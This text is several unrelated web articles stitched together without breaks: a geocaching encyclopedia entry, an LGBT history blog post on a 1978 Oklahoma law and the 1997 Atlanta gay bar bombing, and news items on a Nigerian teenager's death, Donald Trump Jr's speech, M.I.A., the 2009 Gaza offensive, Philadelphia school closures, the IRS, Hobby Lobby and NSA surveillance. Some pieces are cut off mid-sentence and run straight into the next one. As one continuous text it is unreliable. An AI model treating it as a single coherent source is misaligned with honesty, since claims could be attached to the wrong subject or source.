Wherigo cache is a multi-stage cache hunt that uses a Wherigo "cartridge" to guide the player to find a physical cache sometime during cartridge play, usually at the end. Not all Wherigo cartridges incorporate geocaches into game play. Wherigo caches are unique to the geocaching.com website.[21] Wherigo is a GPS location-aware software platform initially released in January 2008. Authors can develop self-enclosed story files (called "cartridges") that are read by the Wherigo player software, installed on either a GPS unit or smartphone. The player and story take advantage of the location information provided by the GPS to trigger in-game events, such as using a virtual object or interacting with characters. Completing an adventure can require reaching different locations and solving puzzles. Cartridges are coded in Lua. Lua may be used directly, but a builder application is usually used. The Wherigo site[30] offers a builder application and a database of adventures free for download, though the builder has remained in its Alpha version since its last release in May 2008.[31] The official player is only available for Pocket PC. A built-in player is available on Garmin Colorado and Oregon GPS models. The Wherigo Foundation[32] was organized in December 2012. The group is composed of all Wherigo application developers who, up until that time, had been acting and developing separately. Their goal is to provide a consistent Wherigo experience across platforms, connect Wherigo applications via an API, and add modern features to the Wherigo platform. While Groundspeak is aware of this project, the company has yet to take a position. Guest Book Caches use guest books often found in museums, tourist information centers, etc. They are listed exclusively at Opencaching.us.[19] A Letterbox Hybrid Cache is a combination of a geocache and a letterbox in the same container. A letterbox has a rubber stamp and a logbook instead of tradable items. Letterboxers carry their own stamp with them, to stamp the letterbox's log book and inversely stamp their personal log book with the letterbox stamp. The hybrid cache contains the important materials for this and may or may not include trade items. Whether the letterbox hybrid contains trade items is up to the owner.[21] Moving/Travelling caches are found at a listed set of coordinates. The finder hides the cache in a different location, and updates the listing, essentially becomes the hider, and the next finder continues the cycle. This cache type is supported by multiple sites.[19] Mystery/puzzle caches require one to discover information or solve a puzzle to find the cache. Some mystery caches provide a false set of coordinates with a puzzle that must be solved to determine the final cache location. In other cases, the given location is accurate, but the name of the location or other features are themselves a puzzle leading to the final cache. Alternatively, additional information is necessary to complete the find, such as a padlock combination to access the cache.[21] Finally, Challenge Caches, (a subtype of the Mystery cache) require a geocacher to complete a reasonably attainable geocaching-related task before being able to log the find. Examples include finding a number of caches that meet a category, completing a number of cache finds within a period of time, or finding a cache for every calendar day, etc.[21] There are a few kinds of events. An Event Cache is a gathering organized and attended by geocachers.[21] Cache-In Trash-Out (CITO) Events are coordinated activities of trash pickup and other maintenance tasks (such as constructing footpaths, planting trees and removing invasive species) to improve the environment.[21] CITO is an ongoing environmental initiative created by Groundspeak Inc. related to geocaching which encourages geocachers to clean up parks and other areas.[21] This is done in two ways: specific events, traditionally around the time of Earth Day each year,[33] in which groups go around picking up litter and maintaining the landscape while finding geocaches.[34][35] A Mega Event is defined by attendance of over 500 people. Mega Events are typically annual events, usually attracting geocachers from all over the world.[21] A Giga Event is an event with an attendance of over 5000 people, also attracting geocachers from worldwide.[21] Finally, a GPS Adventures Maze Exhibit is an exhibit at various museums and science centers in which participants in the maze learn about geocaching. These "events" have their own cache type on Geocaching.com and include many non-geocachers.[21] Geodashing [ edit ] Geodashing is an outdoor sport in which teams of players use GPS receivers to find and visit randomly selected "dashpoints" (also called "waypoints") around the world and report what they find. The objective is to visit as many dashpoints as possible.[36][37] Unlike geocaching, nothing is to be left at the dashpoints; the sole objective is to visit them within the time limit.[38][39] The first game, organized by gpsgames.org,[40] ran for two months (June and July 2001); each subsequent game has run for one month. Players are often encouraged to take pictures at the dashpoints and upload them to the site. Stratocaching [ edit ] Geocaching from space is a combination of flight to near space, the geocaching game, and a unique science experiment. The first Stratocaching event was held on 16 November 2013 in Prague and was successful. Ten caches and two "radioseeds" went up to 30 km (19 mi) into the stratosphere on a gondola called Dropion module carried by a high-altitude balloon. The caches and seeds then fell to earth for people to find.[41][42][43] Technology [ edit ] Obtaining data [ edit ] GPX files containing information such as a cache description and information about recent visitors to the cache are available from various listing sites. Geocachers may upload geocache data (also known as waypoints) from various websites in various formats, most commonly in file-type GPX, which uses XML.[44] Some websites allow geocachers to search (build queries) for multiple caches within a geographic area based on criteria such as ZIP code or coordinates, downloading the results as an email attachment on a schedule. In recent years, Android and iPhone users have been able to download apps such as GeoBeagle[45] that allow them to use their 3G and GPS-enabled devices to actively search for and download new caches.[46][47] Converting and filtering data [ edit ] A variety of geocaching applications are available for geocache data management, file-type translation, and personalization. Geocaching software can assign special icons or search (filter) for caches based on certain criteria (e.g. distance from an assigned point, difficulty, date last found). Coordinates for a geocache can be downloaded onto a GPS receiver and found, without the need for a printout. Paperless geocaching means hunting a geocache without a physical printout of the cache description. Traditionally, this means that the seeker has an electronic means of viewing the cache information in the field, such as pre-downloading the information to a PDA or other electronic device. Various applications are able to directly upload and read GPX files without further conversion. Newer GPS devices released by Garmin, DeLorme and Magellan have the ability to read GPX files directly, thus eliminating the need for a PDA.[48] Other methods include viewing real-time information on a portable computer with internet access or with a Internet-enabled smart phone. The latest advancement of this practice involves installing dedicated applications on a smart phone with a built-in GPS receiver. Seekers can search for and download caches in their immediate vicinity directly to the application and use the on-board GPS receiver to find the cache. A more controversial version of paperless caching involves mass-downloading only the coordinates and cache names (or waypoint IDs) for hundreds of caches into older receivers. This is a common practice of some cachers and has been used successfully for years. In many cases, however, the cache description and hint are never read by the seeker before hunting the cache. This means they are unaware of potential restrictions such as limited hunt times, park open/close times, off-limit areas, and suggested parking locations. Mobile devices [ edit ] The website geocaching.com[49] now sells mobile applications which allow users to view caches through a variety of different devices. Currently, the Android, iPhone, and Windows Phone mobile platforms have applications in their respective stores. The apps also allow for a trial version with limited functionality. The site promotes mobile applications, and lists over two dozen applications (both mobile and browser/desktop based) that are using their proprietary but royalty-free public API.[50] Developers at c:geo have criticised Groundspeak for being incompatible with open-source development.[51] Additionally "c:geo - opensource"[52] is a free opensource full function application for Android phones that is very popular.[53][54][55][56] This app includes similar features to the official Geocaching mobile application, such as: View caches on a live map (Google Maps or OpenStreet Maps), navigation using a compass, map, or other applications, logging finds online and offline, etc.[57] Geocaching enthusiasts have also made their own hand-held GPS devices using a Lego Mindstorms NXT GPS sensor.[58][59] Ethics [ edit ] Geocache listing websites have their own guidelines for acceptable geocache publications. Government agencies and others responsible for public use of land often publish guidelines for geocaching, and a "Geocacher's Creed" posted on the Internet asks participants to "avoid causing disruptions or public alarm".[60][61] Generally accepted rules are to not endanger others, to minimize the impact on nature, to respect private property, and to avoid public alarm. Reception [ edit ] The reception from authorities and the general public outside geocache participants has been mixed to hostile. The Shambles, the road in Wetherby Yorkshire, England, is the site of a controlled explosion on a geocache container in 2011 which was mistakenly perceived to be a bomb. Cachers have been approached by police and questioned when they were seen as acting suspiciously.[62][63] Other times, investigation of a cache location after suspicious activity was reported has resulted in police and bomb squad discovery of the geocache,[64] such as the evacuation of a busy street in Wetherby, Yorkshire, England in 2011.[65] Schools have also been evacuated when a cache has been seen by teachers or police, such as the case of Fairview High School in Boulder, Colorado in 2009.[66] A number of caches have been destroyed by bomb squads.[65][67][68][69][70] Diverse locations, from rural cemeteries to Disneyland, have been locked down as a result of such scares.[71][72] The placement of geocaches has occasional critics among some government personnel and the public at large who consider it littering.[73][74] Some geocachers act to mitigate this perception by picking up litter while they search for geocaches, a practice referred to in the community as "Cache In Trash Out".[35][73] Events and caches are often organized revolving around this practice, with many areas seeing significant cleanup that would otherwise not take place, or would instead require federal, state or local funds to accomplish. Geocachers are also encouraged to clean up after themselves by retrieving old containers once a cache has been removed from play. Geocaching is legal in every country except North Korea (where GPS and all other mobile devices are illegal to possess)[75] and is usually positively received when explained to law enforcement officials.[76] However, certain types of placements can be problematic. Although generally disallowed, hiders could place caches on private property without adequate permission (intentionally or otherwise), which encourages cache finders to trespass. Caches might also be hidden in places where the act of searching can make a finder look suspicious (e.g. near schools, children's playgrounds, banks, courthouses, or in residential neighborhoods), or where the container placement could be mistaken for a drug stash or a bomb (especially in urban settings, under bridges,[77] near banks, courthouses, or embassies). As a result, geocachers are strongly advised to label their geocaches where possible, so that they are not mistaken for a harmful object if discovered by non-geocachers.[68][78] A geocache that has been clearly labelled, in order to clarify that the container is harmless in an attempt to reduce alarm if accidentally discovered. As well as concerns about littering and bomb threats, some geocachers hide their caches in inappropriate locations, such as electrical boxes, that may encourage risky behaviour, especially amongst children. Hides in these areas are discouraged,[66] and cache listing websites enforce guidelines that disallow certain types of placements. However, as cache reviewers typically cannot see exactly where and how every particular cache is hidden, problematic hides can slip through. Ultimately it is also up to cache finders to use discretion when attempting to search for a cache, and report any problems. Regional rules for placement of caches have become quite complex. For example, in Virginia,[79] the Virginia Department of Transportation and the Wildlife Management Agency now forbids the placement of geocaches on all land controlled by those agencies. Some cities, towns and recreation areas allow geocaches with few or no restrictions, but others require compliance with lengthy permitting procedures. The South Carolina House of Representatives passed Bill 3777[80] in 2005, stating, "It is unlawful for a person to engage in the activity of geocaching or letterboxing in a cemetery or in an historic or archeological site or property publicly identified by an historical marker without the express written consent of the owner or entity which oversees that cemetery site or property." The bill was referred to committee on first reading in the Senate and has been there ever since.[81] Notable incidents [ edit ] A 79 year old man fell off a cliff in Dishman Hills Washington, while geocaching in 2009. Several deaths have occurred while geocaching.[82][83][84] The death of a 21-year-old experienced cacher, in December 2011, "while attempting a Groundspeak cache that does not look all that dangerous," led to discussion in Groundspeak forums of whether changes should be made, and whether cache owners or Groundspeak could be held liable.[85] Groundspeak have since updated their geocaching.com Terms of Use Agreement which specifies that geocachers find geocaches at their own risk.[86] In 2008, two lost hikers on Mount Hood, Oregon, after spending the night in a snow cave, stumbled across a geocache and were able to phone this information out to rescuers,[87] resulting in their timely rescue. Three adult geocachers, a 24-year-old woman and her parents, were trapped in a cave and rescued by firefighters in Rochester, New York, while searching for an ammo can in 2012. Rochester Fire Department spokesman Lt. Ted Kuppinger said, "It's difficult because you're invested in it you want to find something like that so people will probably try to push themselves more than they should but you need to be prudent about what you're capable of doing."[88] In 2015, the coastguard were called to a group of geocachers who were spotted walking into the Severn Estuary off the coast of Clevedon, England, in search of clues to a multi-cache. Although they felt they were safe and were able to return to land, they were considered to be in danger and were airlifted back to the shore.[89] In October 2016, four people discovered a crashed car at the bottom of a ravine in Benton, Washington, while out geocaching. They spotted the driver still trapped inside, and alerted the emergency services who effected a rescue.[90] On 9 June 2018 four people in Prague were surprised by a strong sudden storm while searching for a cache in 4 km long underground tunnel. They were carried by the tidal wave for almost the whole length of the tunnel to the Vltava river where the tunnel ends. One woman was found dead in the river a few hours later. Six days later a second body, that of a man in the group, was found in the river.[91] Two exhausted drowning people were rescued from the river suffering mostly from numerous bruises and blunt traumas.[92][93] Websites and data ownership [ edit ] Numerous websites list geocaches around the world. Geocaching websites vary in many ways, including control of data. First page [ edit ] The first website to list geocaches was announced by Mike Teague on May 8, 2000.[94] On September 2, 2000, Jeremy Irish emailed the gpsstash mailing list that he had registered the domain name geocaching.com and had set up his own Web site. He copied the caches from Mike Teague's database into his own. On September 6, Mike Teague announced that Jeremy Irish was taking over cache listings. As of 2012, Teague had logged only 5 caches.[95] The largest site is Geocaching.com, owned by Groundspeak Inc., which began operating in late 2000. With a worldwide membership and a freemium business model, the website claims millions of caches and members in over 200 countries. Hides and events are reviewed by volunteer regional cache reviewers before publication. Free membership allows users access to coordinates, descriptions, and logs for some caches; for a fee, users are allowed additional search tools, the ability to download large amounts of cache information onto their gps at once, instant email notifications about new caches, and access to premium-member-only caches.[96] Opencaching Network [ edit ] A geocache hidden through Opencaching.com The Opencaching Network provides independent, non-commercial listing sites based in the cacher's country or region. The Opencaching Network lists the most types of caches, including traditional, virtual, moving, multi, quiz, webcam, BIT, guest book, USB, event and MP3. The Opencaching Network is less restrictive than many sites, and does not charge for the use of the sites, the service being community driven. Some (or all) listings may or may not be required to be reviewed by community volunteers before being published and although cross-listing is permitted, it is discouraged. Some listings are listed on other sites, but there are many that are unique to the Opencaching Network. Features include the ability to organize one's favourite caches, build custom searches, be instantly notified of new caches in one's area, seek and create caches of all types, export GPX queries, statpics, etc. Each Opencaching Node provides the same API for free (called "OKAPI"[97]) for use by developers who want to create third-party applications able to use the Opencaching Network's content. Countries with associated opencaching websites include the United States at www.opencaching.us; Germany at www.opencaching.de;[98] Sweden at www.opencaching.se; Poland at www.opencaching.pl; Czech Republic at www.opencaching.cz; Norway at www.opencaching.no; The Netherlands at www.opencaching.nl; Romania at www.opencaching.ro; the United Kingdom at www.opencaching.org.uk.[99] The main difference between opencaching and traditional listing sites is that all services are open to the users at no cost. Generally, most geocaching services or websites offer some basic information for free, but users may have to pay for premium membership that allows access to more information or advanced searching capabilities. This is not the case with opencaching; every geocache is listed and accessible to everyone for free.[99] Additionally, Opencaching sites allow users to rate and report on existing geocaches. This allows users to see what other cachers think of the cache and it encourages participants to place higher quality caches. The rating system also greatly reduces the problem of abandoned or unsatisfactory caches still being listed after repeated negative comments or posts in the cache logs.[99] OpenCaching.com (short: OX) was a site created and run by Garmin from 2010-2015, which had the stated aim of being as free and open as possible with no paid content. Caches were approved by a community process and coordinates were available without an account. The service closed on 14 August 2015. Other sites [ edit ] In many countries there are regional geocaching sites, but these mostly only compile lists of caches in the area from the three main sites. Many of them also accept unique listings of caches for their site, but these listings tend to be less popular than the international sites, although occasionally the regional sites may have more caches than the international sites. There are some exceptions though, e.g. in the former Soviet Union, the site Geocaching.su remains popular because it accepts listings in the Cyrillic script. Additional international sites include Geocaching.de, a German website, and Geocaching Australia, which accepts listings of cache types deprecated by geocaching.com, cache types such as TrigPoint and Moveable caches, as well as traditional geocache types. GPSgames [ edit ] GPSgames.org is an online community dedicated to all kinds of games involving Global Positioning System receivers.[100] GPSgames.org allows traditional geocaches as well as virtual, locationless, and traveler geocaches. Geodashing, Shutterspot, GeoVexilla, MinuteWar, GeoPoker, and GeoGolf are among the GPS games available.[101] GPSgames.org has been 100% free since 2001, through donations.[102] NaviCache [ edit ] Navicache.com started as a regional listing service in 2001.[103] While many of the website's listings have been posted to other sites, it also offers unique listings. The website lists nearly any type of geocache and does not charge to access any of the caches listed in its database. All submissions are reviewed and approved.[104] Navicache is under transition to new owners, who said they "plan to develop a site that geocachers want, with rules that geocachers think are suitable. Geocaching.com and OX are both backed by large enterprises, and while that means they have more funding and people, we’re a much smaller team – so our advantage is the ability to be dynamic and listen to the users."[103] TerraCaching [ edit ] Terracaching.com seeks to provide high-quality caches made so by the difficulty of the hide or from the quality of the location. Membership is managed through a sponsorship system, and each cache is under continual peer review from other members. Terracaching.com embraces virtual caches alongside traditional or multi-stage caches and includes many locationless caches among the thousands of caches in its database. It is increasingly attracting members who like the point system. In Europe, TerraCaching is supported by Terracaching.eu. This site is translated in different European languages, has an extended FAQ and extra supporting tools for TerraCaching. TerraCaching strongly discourages caches that are listed on other sites (so-called double-listing).[105] See also [ edit ] References [ edit ] Further reading [ edit ]Jim Burroway TODAY’S AGENDA: Events This Weekend: Pride Cape Town, South Africa; Telluride Gay Ski Week, Mountain Village, CO; Elevation: Utah Gay Ski Week, Park City, UT; Sydney Mardis Gras, Sydney, NSW. TODAY IN HISTORY: Oklahoma Prohibits Gay Teachers: 1978. When Oklahoma State Sen. Mary Helm (R-OKC) introduced the “Feature Fitness Statute” in the state Senate, she had more than just gay teachers in her sights. The bill would allow public schools to fire or refuse to hire anyone who engaged in “public homosexuality activity,” which the proposed broadly defined to also include not just sexual activity, but also “advocating, soliciting, imposing, encouraging or promoting public or private homosexual activities in a manner that creates a substantial risk that such conduct will come to the attention of schoolchildren or school employees.” Think of what that meant. A straight teacher writing a letter to the editor supporting gay rights or, perhaps, denouncing the formation of a student KKK chapter in the public schools to bash gay people — which occurred in the northern suburbs of Oklahoma City soon after the bill was introduced (see Jan 25) — that teacher would be subject to being fired by the school board. But lawmakers weren’t focused on gay bashing, but on anyone who might publicly say that gay bashing was abhorrent. When the bill was introduced into the House by Rep. John Monks (D-Muskogee), he told reporters that the measure would allow school boards to “fire those who are afflicted with this degenerate problem … people who are mentally deranged this way.” (Monks was famous for saying stupid shit. In a successful effort to defeat a bill to ban cockfighting, Monks thundered, “In every country the communists have taken over, the first thing they do is outlaw cockfighting.”) When the House passed the measure by a lopsided 88-2 vote without debate on February 7, the Associated Press speculated that “it is expected to face stiffer opposition in the Senate.” Fat chance. Anita Bryant, a former Miss Oklahoma who was fresh off of her victory in repealing a gay rights ordinance in Miami (see Jun 7), lobbied the state Senate to prohibit “the flaunting of homosexuality.” On February 21, the Senate passed the bill unanimously, and it quickly became law in April. It took two years before the National Gay Task Force could even find a teacher willing to challenge the law. But after several false starts, the NGTF was finally able to bring a case to Federal Court challenging the law’s constitutionality. After the slow trek through the appeals process, the United States Supreme Court finally struck down the law in 1986 (see Mar 26). Atlanta Gay Bar Bombed: 1997. Memrie Wells-Cresswell, of Snellville, GA, went to Atlanta’s Otherside Lounge to celebrate a friend’s birthday. Memrie had not told many people that she was lesbian, but the bombing that night at the popular lesbian bar would change all that. Five people were injured, but hers were the most serious: a three to four inch nail entered her arm and severed a brachial artery. When Mayor Bill Campbell mentioned her by name everyone suddenly knew her secret, including her employer who fired her. She later told The Advocate, “The company ended up giving me some hush money just to make me go away.” Police found a second bomb just outside the bar, which they detonated with a robot. It had been placed there to harm police and medical workers responding to the first explosion. That fit a pattern established with two earlier Atlanta bombings, one at the Centennial Olympic Park on July 27, 1996 and another at an Atlanta abortion clinic on January 16, 1997. Three days after the Otherside Lounge Bombing, police received a letter from an organization calling themselves The Army of God claiming responsibility. The letter threatened “total war” and promised more attacks against abortion clinics and gay people. In 1998, Federal Authorities charged Eric Rudolph with the three Atlanta bombings and a fourth one at an abortion clinic in Birmingham, Alabama. They spent the next four and a half years looking for him around the town of Murphy, North Carolina, where Randolph spent his teenage years. Murphy residents printed tee-shirts reading “Run, Rudolph Run.” He was finally captured there on May 31, 2003. He was well-groomed and well-fed, suggesting he had help in Murphy. On August 13, 2005, Rudolph pleaded guilty to all four bombings in a plea agreement that allowed him to avoid the death penalty. In an eleven page statement, he wrote, “Whether it is gay marriage, homosexual adoption, hate crimes laws including gays, or the attempt to introduce a homosexual normalizing curriculum into our schools, all of these efforts should be ruthlessly opposed.” He also said that the attack on The Otherside Lounge was “meant to send a powerful message in protest of Washington’s continued tolerance and support for the homosexual political agenda.” He is currently serving four life sentences. If you know of something that belongs on the agenda, please send it here. Don’t forget to include the basics: who, what, when, where, and URL (if available). And feel free to consider this your open thread for the day. What’s happening in your world?A TEENAGER who spent her life in a tiny plastic bowl due to a rare condition has died on Christmas Day. Sani Maikatanga / Barcroft Image REMEMBERED: Rahma Haruna, who lived in a plastic bowl due to a mystery condition, died aged 19 Rahma Haruna, whose body remained the size of a baby as her head grew to normal size, died aged 19 on Sunday following a short illness. When she was born in the northern Nigerian village of Lahadin Makole in Kano, Rahma looked like a healthy a baby. But sadly, due to an unknown condition, her body remained the same size it was at birth, although her head grew normally as she aged. Most of her life was spent in a tiny plastic bowl which kept her head upright. Despite her limited capabilities for physical movement, Rahma lived a happy life with her family, who would often carry her around. Rahma shot to worldwide fame when a photograph of her being carried by her 10-year-old brother was published online. INSTAGRAM PASSED AWAY: The Instagram post which told the world that Rahma sadly died aged 19 Photojournalist Sani Maikatanga, who took the original photo, has now reported her passing on his Instagram account. Her condition left her in constant pain, although it did not stop her dreaming for her future. In an interview, Rahma had said she hoped one day to become a grocer and own a shop. Rare Medical Conditions Featuring the rarest diseases and disorders from around the globe. 1 / 32 REUTERS A physically challenged girl whose body stopped growing has sadly died after a brief illnessWhat turned out to be his speechwriter’s self-plagiarism briefly sounded alarms but the son smoothly sold the father’s peculiar version of the American dream Not again. A day after Donald Trump’s wife, Melania, was found to be plagiarising chunks from a Michelle Obama speech, his son, Donald Jr, was accused of parroting phrases lifted from previously published work. In what had seemed a smooth, confident and well-received speech, Trump Jr had described the malaise in America. “Our schools used to be an elevator to the middle class,” he complained. “Now they’re stalled on the ground floor. They’re like Soviet-era department stores that are run for the benefit of the clerks and not the customers.” It's official: Republican party nominates Donald Trump for president Read more As in the case of Melania on Monday, the Twitterati soon pounced. Comedy Central’s The Daily Show highlighted an article by Frank H Buckley published two months ago by American Conservative magazine. “What should be an elevator to the upper class is stalled on the ground floor,” it read. “Our schools and universities are like old Soviet department stores whose mission was to serve the interests of the sales clerks and not the customers.” The Daily Show (@TheDailyShow) 👀 pic.twitter.com/QEftnTTwy3 It was all the more extraordinary because, after the Melania debacle, it seemed fair to assume that Trump would hire an infinite number of monkeys to check his son’s speech and ensure it contained not a syllable of copying. Buckley himself, however, did not seem upset. “I was a speechwriter for this speech,” he told Business Insider. “So I’m afraid there’s no issue here.” Indeed, but for the previous farce, a speechwriter’s self-plagiarism would probably have passed without incident. But in the current climate, to use one old phrase may be regarded as a misfortune; to use two looks like carelessness. The pity of it was that, like Melania, Trump Jr had in fact been a more agreeable speaker than many of the professional politicians the GOP convention has witnessed, many of them full of bile and rancour. With his tanned complexion and slicked-back hair, the 38-year-old looks like an actor playing the US president in a TV drama set in Washington. And he was perhaps the ultimate Trump spokesman in that he was selling the tycoon’s peculiar version of the American dream. Republican national convention day two: what we learned Read more How can a billionaire businessman from New York be the one who “gets” the struggling working class? It is the paradox that has been at the heart of the Trump phenomenon. Describing himself as “the son of a great man”, Trump Jr attempted to square the circle. Regular guys, common sense and capitalism: good; intellectuals, experts and fancy universities: bad. Watched by thousands of delegates, some waving “Make America great again” banners, Trump Jr recalled that, from as soon as he could walk,
My question was,on American platforms what do they allow you to stand up for in 2016. This has been the number 1 question for me. — M.I.A (@MIAuniverse) April 21, 2016 A#blacklivesmatter B#Muslimlivesmatter. I'm not Muslim. My criticism wasn't about Beyoncé. It's how u can say A not B right now in 2016. — M.I.A (@MIAuniverse) April 21, 2016 Afropunk will release the name of a new headliner to replace M.I.A. next Tuesday. The festival, which has been held in Brooklyn since 2005, will take place in London this year on Sept. 24.* Egypt makes U.S.-backed truce proposal, Israel interested * Israeli forces kill 42 in school, Israel accuses Hamas * Fighting dies down, Israel offers "humanitarian corridor" * Al Qaeda’s Zawahri urges Muslims to hit Western interests By Nidal al-Mughrabi GAZA, Jan 7 (Reuters) - Israel and Hamas studied an Egyptian proposal for a ceasefire in the Gaza Strip on Wednesday that won immediate backing from the United States and Europe, hours after Israeli shells killed 42 Palestinians at a U.N. school. However, Israeli officials also said ministers would discuss a major escalation of their 12-day-old offensive that would push troops deep inside Gaza’s cities and refugee camps in their bid to end rocket salvoes into Israel by Islamist militants. A Palestinian official said Gaza’s Hamas rulers, who want an end to Israel’s blockade of the enclave, had been briefed in Egypt by President Hosni Mubarak and were debating the proposal. More than 600 Palestinians have been killed in the offensive. In New York, where the U.N. Security Council met on Gaza, Israeli Ambassador Gabriela Shalev told reporters: "I am sure that (Egypt’s proposal) will be considered and you will find out whether it was accepted. But we take it very, very seriously." Israel, which has lost seven soldiers and four civilians in the conflict, wants any end to hostilities to satisfy its demand that Egypt cut off Hamas’s supplies of smuggled weapons. Mubarak made his ceasefire call at a joint news conference in Egypt with French President Nicolas Sarkozy. He gave little detail, but diplomats have described a process that would focus on bringing in foreign forces to seal the Egypt-Gaza border against Hamas arms smugglers while easing other trade routes. Sarkozy, winding up a two-day tour of the Middle East, said: "I am confident the Israeli authorities’ reaction will make it possible to consider putting an end to the operation in Gaza." With Washington in a transition period ahead of the Jan. 20 inauguration of President-elect Barack Obama, France and its European partners, with backing from U.S. allies in the Arab world, have been pushing hard for Israel to cease fire. U.S. Secretary of State Condoleezza Rice endorsed the Mubarak proposal and said a "sustainable" ceasefire should involve both closing off Hamas’s ability to rearm through tunnels from Egypt and easing the lives of the 1.5 million people of Gaza by reopening trade routes. "We need urgently to conclude a ceasefire that can endure and that can bring real security," Rice told the Security Council. She welcomed an offer by Israel to open what it called a "humanitarian corridor" that would let aid agencies more easily distribute food and medicine around Gaza while it continues its military operation. ISRAEL’S FINAL MILITARY PUSH? For all the talk of a truce, however, Israel is still demanding a stop to all rocket fire — more than 30 hit the Jewish state on Tuesday — and guarantees Hamas cannot rearm. Prime Minister Ehud Olmert’s security cabinet, due to convene on Wednesday, would debate whether to order their armed forces to storm into the Gaza Strip’s urban centres, the planned culmination of the offensive, political sources said. They said ministers may defer a vote on approving the plan. "The plan is to enter the urban centres," one source said, noting the first phase was an air campaign launched on Dec. 27 and the second a ground invasion that began on Jan. 3. After nightfall on Tuesday, fighting eased to a sporadic explosions and gunfire across Gaza. On Tuesday, 77 civilians were killed, taking the total Palestinian death toll to 631. Israel says it has killed dozens of militants this week. Arab and widespread international anger mounted on Tuesday when Israel acknowledged hitting a U.N. school where hundreds of people were taking refuge. Medics said 42 people were killed. Israel accused Hamas of using civilians as "human shields" and said troops had been returning mortar fire from the school. An aide said Palestinian President Mahmoud Abbas, a bitter foe of Hamas, had ordered officials to look into taking Israel to international courts over the incident. A U.N. spokesman said the world body wanted an inquiry into both the incident and Israel’s allegations about militants firing from schools. The school killings could intensify pressure on Israel for a ceasefire. During Israel’s 2006 war against Hezbollah, the deaths of 28 unarmed Lebanese in shelling at the village of Qana intensified world pressure on Israel to negotiate a truce. The deaths in the school prompted Obama to break his silence on the Gaza offensive and to say the loss of life among civilians was "a source of deep concern" for him. Obama said he would not engage in policy until he was in office but vowed to work rapidly thereafter to secure peace in the Middle East. Al Qaeda’s second-in-command Ayman al-Zawahri called on the Internet for Muslims to "hit the interests of the Zionists and Crusaders wherever and in whichever way you can". Washington’s allies in Arab governments have condemned the Israeli assault, which has contributed to rising oil prices. Hamas, which has rebuffed Western demands to recognise the Jewish state, end violence and accept existing interim peace deals, has demanded a lifting of the blockade of Gaza in any truce. It seized the territory in 2007, 18 months after it won a parliamentary election. That created a schism with Abbas’s Fatah faction that helped kill off the outgoing U.S. administration’s efforts to broker a peace with Israel that would have created a Palestinian state. (Additional reporting by Dan Williams and Adam Entous in Jerusalem, Aziz el-Kaissouni in Sharm el-Sheikh and Claudia Parsons and Louis Charbonneau at the United Nations; Writing by Alastair Macdonald)Philadelphia Mayor Michael Nutter is defending his city’s decision to close 23 schools and lay off thousands of workers in the face of a $304 million deficit—all while Pennsylvania is investing in a $400 million state prison in suburban Philly. Nutter told Chris Hayes Monday night that Pennsylvania’s School Reform Commission, which voted in March to close 23 schools, took the “right steps in honest budgeting” after Pennsylvania Gov. Tom Corbett and the state’s Republican-controlled House cut $961 million from its pre-K-12 education budget last year—a 12% cut in education across the state. “These are some pretty tough economic times,” Nutter said. The state-run commission and Superintendent William Hite Jr. ”only budgeted the dollars they know that they’re going to have,” he added. Nutter said that the city planned to seek additional funding from the state, but needed to find a way to save the money immediately. Effective July 1, 3,783 employees of the Philadelphia school system—which includes 676 teachers and 283 counselors—will be unemployed. Officials have said there will be more layoffs in the future. The commission also recommended the closure of 23 schools, despite critics who’ve argued that “no district has reaped anything like a windfall” from selling emptied school buildings. Nutter said the schools that the commission, and Superintendent Hite chose to close contained too many vacant seats, and the goal of the public school system was to focus on providing a high-quality education across the city. “You can’t maintain that level of inventory—70,000 vacant seats across the entire school system—and continue to provide high-quality service,” Nutter said. Nutter argued that Philadelphia’s school system would not suffer from the closures because of the expansion of charter schools in the city, which he insisted were still public schools. He dismissed the argument that charter schools have often been criticized for their lack of accountability, and added, “My job is to make sure we have a system of great schools all across the city of Philadelphia…and that the election officials are providing the proper funding for a high-quality education regardless of what school a parent decides to send their child to.” But high-performing schools are not exempt from the SRC’s decision: one school, M.H. Stanton Elementary School, has been collecting accolades for boosting the academic performance of low-income students, and is on the list of the schools that will be closed. M.H. Stanton was also the subject of the 1993 Academy Award-winning documentary, I Am a Promise: The Children of Stanton Elementary School. “You have some buildings where there actually is a good-quality education going on,” Nutter said of the high-performing schools on the SRC’s list, “but the physical plant of that building is old and decrepit.” “The SRC made tough choices, but they made the right choice. We need to downsize the system.” As Philadelphia families face an uncertain future for their children’s education, The Philadelphia Inquirer reported earlier this month that workers began construction on what will be the “second-most-expensive facility Pennsylvania has ever built.” The new prison’s multiple complexes will house 4,000 offenders, including 700 serving life sentences, and contain new cell blocks, more single rooms with air-conditioning, roofs that don’t leak, and classrooms.Huzzah for convenience! Americans can now download their tax return transcript directly from the IRS. Previously, citizens had to slog through a questionnaire and wait 5-10 business days for a physical form through snail mail. I tried out their new service today and, after spending about two minutes answering security questions, I was able to download three years worth of tax information. “I am very excited to announce that the IRS has just launched, this week, the ‘get transcript’ application which will give taxpayers the ability to view, print, and download tax transcripts,” said Katherine Sydor, Advisor at Office of Consumer Policy at the Treasury. Sydor made her announcement at the White House’s education “Datapalooza,” a gathering of hackers and policy leaders to jam on how open government data can help solve the nation’s education ills (Video link, ~1:37:00) As is becoming tradition at the White House, the newly launched feature has some bugs. I had to re-register after I couldn’t log in a second time. The IRS asked me for a “user name,” which it never told me; when I tried retrieving it with the “forgot user ID” function, the website encountered an error. A minor bug, but it’s not helping the White House shake its tarnished reputation. One would think that downloading tax returns would not be novel in 2014. But, the software tax industry has spent millions lobbying the government not to design its own interface. Intuit, the makers of TurboTax, reap heavy rewards from being one of the only web apps for filing and retrieving tax information. Still, despite the lobbying, it seems the IRS can still make some progress in open government. Check out the Get Transcript web app here. [H/T: @Digiphile] [Image Credit: Flickr User Kenteegardin]Hobby Lobby has invested millions of dollars in pharmaceutical companies that manufacture contraception and abortion-inducing medication. According to a report by Mother Jones, several of the mutual funds in Hobby Lobby's retirement plan are with companies that produce the very medications the owners are trying to fight insuring. One of the companies is Teva Pharmaceutical Industries, which manufactures Plan B, the emergency contraception medication, and the copper IUD Paragard. The second company is Actavis, which distributes a generic form of Plan B and Ella, another emergency contraceptive. They also invest in Pfizer, Bayer, AstraZeneca, and Forest Laboratories, which all produce either or both abortion-inducing medications and hormonal IUDs. As of Tuesday afternoon, Hobby Lobby had not made comment on the report. Hobby Lobby may not know about their investments, but this news does have the potential to undermine their case in front of the Supreme Court, as Huffington Post politics reporter Elise Foley points out. [HuffPost Live] [Mother Jones]Story highlights New report raises more concerns over NSA surveillance programs Obama: Americans would be comfortable with programs if they knew all about them Obama says programs not being abused; 